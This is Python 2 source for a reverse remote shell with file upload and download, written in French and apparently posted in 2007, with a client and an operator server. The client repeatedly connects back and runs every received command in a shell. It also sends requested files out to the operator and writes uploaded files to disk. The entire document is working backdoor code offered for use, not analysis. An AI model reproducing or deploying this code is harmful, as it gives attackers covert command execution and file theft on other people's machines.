REMOTESHELL + DOWNLOAD & UPLOAD DE FICHIER

################## CLIENT ##################

#!/usr/bin/python
# -*- coding: iso8859-1 -*-

from subprocess import Popen,PIPE
from socket import *
from time import sleep
from os import chdir,path
from string import split

class RemoteShell:
	def __init__(self):
		self.op = 0
		self.buffer = 8000
	
	def CreateSocket(self):
		self.sock = socket(AF_INET,SOCK_STREAM)
		try :
			self.sock.connect(('127.0.0.1',8000))
			self.op = 1
		except :
			self.op = 0
			pass

	def Acceuil(self):
		self.sock.send('--- Remote Shell by Marnage ---')
	
	def RecvCommand(self):
		self.command = self.sock.recv(self.buffer)

	def BrokenPipe(self):
		pipe = Popen(self.command, shell=True, stdout=PIPE, stdin=PIPE, stderr=PIPE)
		output = pipe.communicate()
		CharOutput = str(output) # Obligatoire on ne peut envoyer de tuple par une socket
		self.sock.send(CharOutput)

	def CDExecut(self):
		path = split(self.command)
		path = path[1]
		try : 
			chdir(path)
			self.sock.send('[*] cd execut')
		except :
			self.sock.send('[!] cd error')

class UploadRecv:
	def __init__(self,sock):
		self.sock = sock
		self.binary = ""
		self.buffer = 1024

	def RecvBinary(self):
		mode = self.sock.recv(self.buffer).strip()
		if ( mode == 'sup' ) :
			while (1):
				binair = self.sock.recv(self.buffer)
				if ( binair == 'fin' ):
					break
				self.binary += binair
				self.sock.send('op')
		else :
			self.binary = self.sock.recv(self.buffer)

	def BrokenFile(self):
		self.sock.send("file name")
		FileName = self.sock.recv(self.buffer)
		try :
			file = open(FileName, 'w')
			file.write(self.binary)
			file.close()
			self.sock.send('yes')
		except :
			self.sock.send('no')
			pass
		self.sock.send('Upload finish')

class Download:
	def __init__(self,sock):
		self.sock = sock
		self.buffer = 1000

	def FileInfo(self):
		self.sock.send("file name")
		FileName = self.sock.recv(self.buffer)
		if ( path.exists(FileName) ):
			self.file = open(FileName, 'rb').read()
			if ( len(self.file) > 1000 ):
				self.mode = 'sup'
			else :
				self.mode = 'inf'
			self.sock.send(self.mode)
		else :
			self.mode = 'error'
			self.sock.send(self.mode)
		
	def SendFile(self):
		if (self.mode == 'sup'):
			i = 0
			binary = ""
			compt = 0
			while ( i < len(self.file) ):
				if ( compt == 1000 ):
					compt = 0
					self.sock.send(binary)
					binary = ""
					self.sock.recv(self.buffer)
				binary += self.file[i]
				compt += 1
				i += 1
			self.sock.send('fin')
		else :
			self.sock.send(self.file)
		self.sock.recv(self.buffer)
		self.sock.send('download the end')

def main():
	ClassShell = RemoteShell()
	while (1):
		ClassShell.CreateSocket()
		if ( ClassShell.op ):
			ClassShell.Acceuil()
			while (1):
				ClassShell.RecvCommand()
				if ( len(ClassShell.command) > 2 and ClassShell.command[:2] == 'cd' ):
					ClassShell.CDExecut()
				elif ( ClassShell.command == 'exit' ):
					ClassShell.sock.close()
					break
				elif ( ClassShell.command == 'upload' ):
					ClassUpload = UploadRecv(ClassShell.sock)
					ClassUpload.RecvBinary()
					ClassUpload.BrokenFile()
				elif ( ClassShell.command == 'download' ):
					ClassDownload = Download(ClassShell.sock)
					ClassDownload.FileInfo()
					if ( ClassDownload.mode != 'error' ):
						ClassDownload.SendFile()
				else :
					ClassShell.BrokenPipe()

if ( __name__ == "__main__" ):
	main()

################## /CLEINT ##################

################## SERVEUR ##################

#!/usr/bin/python
# -*- coding: iso8859-1 -*-

from socket import *

sock = socket(AF_INET,SOCK_STREAM)
sock.bind(("",8000))
sock.listen(2)
connect ,adrs = sock.accept()

MessageAcceuil = connect.recv(500)
print MessageAcceuil

while ( 1 ):
	command = raw_input("-> ")
	connect.send(command)
	if ( command == 'exit' ):
		sock.close()
		break
	elif ( command == 'upload' ):
		file = raw_input('file -> ')
		try :
			readfile = open(file, 'rb').read()
		except :
			readfile = 'corrupted'
			print 'file upload <corrupted>'
		
		if ( len(readfile) > 1000 ):
			i = 0
			compt = 0
			part = ""
			connect.send('sup')
			while ( i < len(readfile) ):
				if ( compt == 1000 ):
					connect.send(part)
					connect.recv(50)
					part = ""
					compt = 0
				part += readfile[i]
				compt += 1
				i += 1
			connect.send("fin")
		else :
			connect.send("inf")
			connect.send(readfile)
		connect.recv(20)
		connect.send(file)
		test = connect.recv(10)
		if ( test == 'no' ):
			print '[!] File upload corrupted'
	
	elif ( command == 'download' ):
		name = raw_input('file -> ')
		connect.recv(50)
		connect.send(name)
		file = open(name, 'w')
		mode = connect.recv(10)
		if ( mode != 'error' ):
			if ( mode == 'sup' ):
				binaire = ""
				while ( 1 ):
					binary = connect.recv(1000)
					if ( binary.strip() == 'fin' ):
						break
					binaire += binary
					connect.send('op')
			else :
				binaire = connect.recv(1000)
			file.write(binaire)
			file.close()
			connect.send('op')
		else :
			pass
				
	reponce = connect.recv(500)
	print reponce

################## /SERVEUR ##################

24 octobre 2007 02:48:43 :

Gerre quelque erreur en plus ... code source un peux plus propre